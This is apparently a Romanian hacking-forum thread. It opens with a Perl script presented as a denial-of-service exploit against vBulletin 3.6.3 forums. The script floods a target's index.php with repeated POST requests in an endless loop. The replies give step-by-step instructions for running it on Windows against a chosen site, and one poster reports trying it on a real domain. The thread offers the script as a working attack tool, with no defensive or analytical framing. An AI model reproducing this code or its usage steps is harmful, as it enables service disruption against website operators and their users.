vBulletin Denial of Service Vulnerability

[trxtxx]

#!/c:/perl/bin

#

# VBulletin Denail of Service Exploit by 4.!.5

#

# created : !N 7h3 DARKNESS

# CODED BY: R3d-D3V!L

#

# important => Image Verification in (search.php) is NOT Enabled.

# It tested on V3.6.3

#

#Perl Script

use Socket;

if (@ARGV < 2) { &usage }

$rand=rand(10);

$host = $ARGV[0];

$dir = $ARGV[1];

$host =~ s/(http:\/\/)//eg;

for ($i=0; $i<10; $i--)

{

$user="vb".$rand.$i;

$data = "s="

;

$len = length $data;

$foo = "POST ".$dir."index.php HTTP/1.1\r\n".

"Accept: */*\r\n".

"Accept-Language: en-gb\r\n".

"Content-Type: application/x-www-form-urlencoded\r\n".

"Accept-Encoding: gzip, deflate\r\n".

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".

"Host: $host\r\n".

"Content-Length: $len\r\n".

"Connection: Keep-Alive\r\n".

"Cache-Control: no-cache\r\n\r\n".

"$data";

my $port = "80";

my $proto = getprotobyname('tcp');

socket(SOCKET, PF_INET, SOCK_STREAM, $proto);

connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;

send(SOCKET,"$foo", 0);

syswrite STDOUT, "+" ;

}

print "\n\n";

system('ping $host');

sub usage {

print "\tusage: \n";

print "\t$0 <host> </dir/>\n";

print "\tex: $0 127.0.0.1 /forum/\n";

print "\tex2: $0 127.0.0.1 /\n\n";

exit();

};

# Exploit By 4.!.5...

######################################################

[trxtxx]

da cand o sa fac rost de un linux ca am uitat incarcatorul la munte de la laptopul cu linux asa ca daca are cineva un linux la indemna sa faca un mic tutorial pt cine are nevoie.

edit: shit asta e in perl, fac tutorialul later:)

[trxtxx]

m-ai batut mai incearca sa reformulezi intrebarea ca nu inteleg ce vrei sa zici. presupun ca vrei sa zici cum folosesti scriptu asta pe windows? daca da trebe instalat live perl sau active perl cum draq se numeste dai pe google

active perl for windows si gasesti tu

[Church]

nu inteleg ce trebuie tutorial video ? intri pe The Perl Programming Language - www.perl.org downloadezi perlu

prostia aia o salvezi in vbl

apoi meri in cmd

perl vbl pulamea.ro /forum

si gata

p.s.: am incercat pe 3.8.4 , dar nu merge

Edited January 6, 2010 by Church

[trxtxx]

andrei da-mi u mesaj mai incolo privat si iti gassc eu un site care sa iti fac un tutorial specialpt asta, acum am treaba:) good luck

[CODEX]

# It tested on V3.6.3

normal ca nu merge pe alte versiuni mai noi . Pentru cine nu stie sa il folosesasca vedeti ca sunt tutoriale p'aici pe undeva . puneti mana si dait un search ..sau pe google